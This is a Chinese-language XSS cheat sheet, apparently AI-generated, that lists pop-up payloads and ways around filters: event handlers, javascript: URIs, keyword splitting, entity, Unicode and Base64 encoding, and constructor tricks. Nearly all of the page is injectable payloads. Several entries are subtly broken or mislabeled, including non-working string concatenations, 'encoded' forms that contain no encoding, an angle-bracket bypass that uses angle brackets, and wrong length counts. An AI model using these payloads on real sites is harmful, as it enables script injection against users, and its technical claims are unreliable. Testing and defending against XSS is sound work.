弹窗xss测试的所有代码,包括过滤编码的
一、基础弹窗测试代码
适用于无过滤或弱过滤场景
<!-- 标准脚本弹窗 -->
<script>alert(1)</script>
<!-- 无script标签的事件触发 -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe onload=alert(1)>
<!-- 替代弹窗函数(绕过alert关键词过滤) -->
<script>confirm(1)</script> <!-- 确认弹窗 -->
<script>prompt(1)</script> <!-- 输入弹窗 -->
二、HTML上下文过滤绕过(<、>被拦截)
针对后端过滤尖括号的场景,利用HTML事件属性触发
<!-- 自动聚焦触发 -->
<input autofocus onfocus=alert(1)>
<!-- 页面加载触发 -->
<body onload=alert(1)>
<!-- 鼠标悬停触发 -->
<div onmouseover=alert(1)>Hover Me</div>
<!-- 键盘事件触发 -->
<input onkeydown=alert(1)>
三、属性与伪协议绕过
针对链接/属性上下文的XSS场景
<!-- JavaScript伪协议 -->
<a href="javascript:alert(1)">Click Me</a>
<!-- 大小写绕过伪协议关键词 -->
<a href="JAVASCRIPT:alert(1)">Click Me</a>
<!-- 实体编码冒号绕过 -->
<a href="javascript:alert(1)">Click Me</a>
<!-- 中间字符编码绕过 -->
<a href="javascript:alert(1)">Click Me</a>
<!-- 闭合属性触发(适用于<input value="输入点">场景) -->
" onfocus=alert(1) autofocus x="
四、关键词过滤绕过(alert/script被拦截)
通过变形、拼接、别名等方式绕过关键词检测
<!-- 变量别名替换 -->
<script>var a=alert;a(1)</script>
<script>top.alert(1)</script> <!-- 调用全局对象方法 -->
<!-- 字符串拼接 -->
<script>ale+'rt'(1)</script>
<script>['ale'+'rt'][0](1)</script>
<!-- 模板字符串绕过括号/alert过滤 -->
<script>alert`1`</script>
<!-- eval执行编码后的代码 -->
<script>eval('alert(1)')</script>
<script>eval('ale'+'rt(1)')</script>
<!-- 拆分函数名绕过 -->
<script>a=ale;b=rt;a+b(1)</script>
五、编码绕过(针对编码解码场景)
利用HTML/JS的编码特性绕过过滤,后端通常会自动解码
1. HTML实体编码
<!-- 十进制实体 -->
<script>alert(1)</script>
<!-- 十六进制实体 -->
<script>alert(1)</script>
2. JS编码
<!-- Unicode编码 -->
<script>alert('\u0031')</script>
<script>eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')</script>
<!-- 十六进制编码 -->
<script>alert('\x31')</script>
<!-- Base64编码执行 -->
<script>eval(atob('YWxlcnQoMSk='))</script> <!-- atob解码"YWxlcnQoMSk="得到alert(1) -->
3. URL编码(适用于URL参数XSS)
javascript%3Aalert(1)
data%3Atext/html%3Cscript%3Ealert(1)%3C/script%3E
六、特殊场景绕过
1. 长度限制场景(最短弹窗代码)
<svg/onload=alert(1)> <!-- 仅16字符 -->
<img src=x onerror=alert(1)> <!-- 19字符 -->
<script>top.alert(1)</script>
2. DOM XSS场景
针对前端JS处理用户输入的场景
<!-- 利用location.hash -->
<script>eval(location.hash.slice(1))</script> <!-- 输入#alert(1)触发 -->
<!-- 利用window.name -->
<script>alert(window.name)</script> <!-- 通过iframe传递window.name=alert(1)触发 -->
<!-- 闭合变量赋值 -->
<script>var user="输入点";</script> <!-- 输入";alert(1);// 闭合变量并注释后续代码 -->
3. 括号/括号被过滤场景
<script>alert`1`</script> <!-- 模板字符串绕过括号 -->
<script>alert.call(null,1)</script> <!-- 函数call方法绕过 -->
<script>alert.apply(null,[1])</script> <!-- 函数apply方法绕过 -->
七、高级绕过技巧
<!-- 注释干扰过滤逻辑 -->
<script><!--alert(1)--></script>
<scrip<!--t-->t>alert(1)</scrip<!--t-->t>
<!-- 多余属性混淆过滤规则 -->
<script type="text/javascript" language="vbscript">alert(1)</script>
<!-- 全局函数动态调用 -->
<script>(this['al'+'ert'])(1)</script>
<script>self.alert(1)</script>
<!-- 数组索引调用函数 -->
<script>[alert][0](1)</script>
<script>([]['flat']['constructor']('alert(1)')())</script> <!-- 利用Array flat构造函数执行代码 -->
注意事项
- 不同浏览器/防护机制(如CSP、XSS Auditor)对XSS的拦截逻辑不同,需结合实际场景测试;
- 前端过滤可直接通过修改DOM绕过,后端过滤需依赖编码/变形绕过;
- 部分方法仅在特定环境生效(如旧浏览器支持的CSS伪协议XSS已被现代浏览器禁用)。
所有内容均由人工智能模型生成,其生成内容的准确性和完整性无法保证,不代表我们的态度或观点。
评论 (0)